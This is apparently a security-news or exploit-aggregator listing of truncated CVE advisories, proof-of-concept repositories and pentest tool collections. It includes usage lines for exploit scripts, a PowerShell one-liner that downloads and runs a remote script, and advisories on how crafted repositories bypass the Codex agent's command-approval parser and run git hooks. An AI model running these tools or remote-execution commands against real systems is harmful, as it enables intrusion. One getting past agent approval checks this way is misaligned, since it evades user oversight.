CVE-2020-26061

CVE-2020-26061 ClickStudios Passwordstate Password Reset Portal Authentication Bypass Information Vendor: ClickStudios Product: Passwordstate Versions Affected: Before 8.5 build 8501 Researcher: Jason Juntunen aka @missing0x00 https://github.com/missing0x00 Description ClickStudios Passwordstate...

ActiveMQ_CVE-2023-46604

ActiveMQCVE-2023-46604 PY का उपयोग करके डेटा ट्रैफ़िक और समवर्ती पैकेटों का तेज़ी से निर्माण; दोनों गैजेट क्लासेस के कार्यान्वयन उपलब्ध हैं, org.springframework.context.support.FileSystemXmlApplicationContext और org.springframework.context.support.ClassPathXmlApplicationContext , FIleSystemXml कु...

EUVD-2026-69396

OpenAI Codex CLI for Windows, macOS, and Linux and Codex Desktop for Windows and macOS automatically collected Git repository metadata without disabling the repository-local core.fsmonitor setting. If a user opens or uses an attacker-prepared repository whose preserved .git/config sets...

CVE-2018-0296

CVE-2018-0296 Test CVE-2018-0296 and extract usernames from Cisco ASA. Refer to https://sekurak.pl/opis-bledu-cve-2018-0296-ominiecie-uwierzytelnienia-w-webinterfejsie-cisco-asa/ for more technical details. Help Menu root@kitploit: $ ./CVE-2018-0296 -h Options: -h, --help display help information...

CVE-2013-6117

CVE-2013-6117 root@kitploit: $ ./CVE-2013-6117 -h Options: -h, --help display help information -f, --filename File containing list of IP addresses -t, --target Target IP -n, --threads No of concurrent threads default: 100 root@kitploit: $ ./CVE-2013-6117 -f hostfile.txt...

CVE-2023-32315

CVE-2023-32315 Openfire Console Authentication Bypass Vulnerability with RCE plugin Setup root@kitploit: git clone https://github.com/miko550/CVE-2023-32315.git cd CVE-2023-32315 pip3 install -r requirements.txt Usage root@kitploit: python3 CVE-2023-32315.py -t http://127.0.0.1:9090 python3...

CVE-2024-39929

Exim CVE-2024-39929 Exploit PoC This repository contains a Proof-of-Concept PoC script to exploit the Exim vulnerability CVE-2024-39929. The vulnerability affects Exim versions prior to 4.98, allowing attackers to bypass file extension blocking mechanisms and potentially deliver executable...

CVE-2025-29927

CVE-2025-29927 - Next.js Middleware Authorization Bypass PoC This is a Capture The Flag CTF styled Proof of Concept for the Next.js Middleware Authorization Bypass vulnerability CVE-2025-29927. The goal is to bypass the auth middleware and retrieve the flag from the /protected route. Vulnerabilit...

CVE-2026-19591

OpenAI Codex CLI (Windows, macOS, Linux) and Codex Desktop (Windows, macOS) contain an approval-bypass flaw in their command-safety parser. The parser misinterprets PowerShell's stop-parsing token (--%), classifying certain commands as safe when they are not. An attacker who controls a repository...

EUVD-2026-69394

OpenAI Codex CLI for Windows, macOS, and Linux and Codex Desktop for Windows and macOS misclassified certain PowerShell commands as safe because their command-safety parser interpreted PowerShell's stop-parsing token --% differently than PowerShell itself. If a user opens an attacker-prepared...

CVE-2026-19591

OpenAI Codex CLI for Windows, macOS, and Linux and Codex Desktop for Windows and macOS misclassified certain PowerShell commands as safe because their command-safety parser interpreted PowerShell's stop-parsing token --% differently than PowerShell itself. If a user opens an attacker-prepared...

CVE-2026-19590

OpenAI Codex Desktop for Windows and macOS could execute attacker-controlled Git hooks because its automated Git operations trusted the repository-local core.hooksPath setting in .git/config. If a user opens a crafted repository where this setting points to an attacker-controlled directory, a mal...

loxs-optimized

loxs-optimized Project from https://github.com/coffinxp/loxs CSP-Bypass-xss.txt Note: It mainly bypasses the CSP payload 2024-11-06 Add CSP-Bypass-xss.txt to xss.txt 2024-11-07 Removing interfering information Only the vulnerable information is displayed 2024-11-11 Solves the problem that the...

slides

slides A collection of slides. 2025 A tale of challenging MTE: Rooting Google Pixel with kernel MTE enabled in one shot Conference: POC 2025 2024 Simple bug but not easy exploit: Rooting Android devices in one shot Conference: Cansecwest 2024 Almost same with POC 2023, except for MTE 2023 Simple...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Tool Collections WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

userland-exec

التنفيذ في فضاء المستخدم يستبدل تنفيذ فضاء المستخدم صورة العملية الحالية داخل مساحة العناوين الحالية بأخرى جديدة. يحاكي سلوك استدعاء النظام execve، لكن البنى الخاصة بالعملية التي تصف صورة العملية تبقى دون تغيير. بعبارة أخرى، سيبقى اسم العملية كما تبلغه أدوات النظام بالاسم القديم. يمكن استخدام هذه...

CVE-2025-20029

CVE-2025-20029: Command Injection in TMSH CLI in F5 BIG-IP A command injection vulnerability exists in the F5 “tmsh” restricted CLI which allows an authenticated attacker to leverage the commands accessible by a low privilege user in order to bypass restrictions, inject arbitrary commands and...

MAL-004

MAL-004: Command Injection Bypass for CVE-2020-12641 in Roundcube Webmail A bypass was found for "CVE-2020-12641: Command Injection via "imconvertpath" in Roundcube Webmail" affecting versions before 1.4.5, 1.3.12. The php “escapeshellcmd” function, implemented to prevent “CVE-2020-12641: Command...

EUVD-2026-68814

Smarty: SSRF via redirect bypass of trusteduri using fetch...

Smarty: SSRF via redirect bypass of trusted_uri using {fetch}

When a Security policy is active, fetch validates the requested remote URL against the trusteduri allowlist via Security::isTrustedUri. For non-http:// schemes e.g. https:// the resource was then read with filegetcontents, which follows HTTP redirects by default. Because isTrustedUri only validat...